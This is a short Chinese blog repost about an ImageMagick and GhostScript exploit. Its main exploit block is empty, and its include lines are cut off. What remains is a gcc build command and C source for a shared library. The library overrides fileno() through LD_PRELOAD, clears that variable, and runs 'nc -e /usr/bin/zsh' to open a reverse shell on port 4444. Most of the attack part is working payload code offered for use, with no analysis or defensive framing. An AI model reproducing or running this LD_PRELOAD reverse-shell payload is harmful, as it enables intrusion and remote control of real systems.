imagemagick+GhostScript

# imagemagick+GhostScript

> 原文:[https://www.zhihuifly.com/t/topic/3465](https://www.zhihuifly.com/t/topic/3465)

## **imagemagick+GhostScript**

**exp**

“`

“`

其中 imag.c文件需要编译,命令如下

“`
gcc -shared -fPIC imag.c -o imag.so
“`

> imag.c代码

“`
#include
#include
void payload() {
const char* cmd = “nc -e /usr/bin/zsh 127.0.0.1 4444”;
system(cmd);
}
int fileno() {
if (getenv(“LD_PRELOAD”) == NULL) { return 0; }
unsetenv(“LD_PRELOAD”);
payload();
}
“`

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容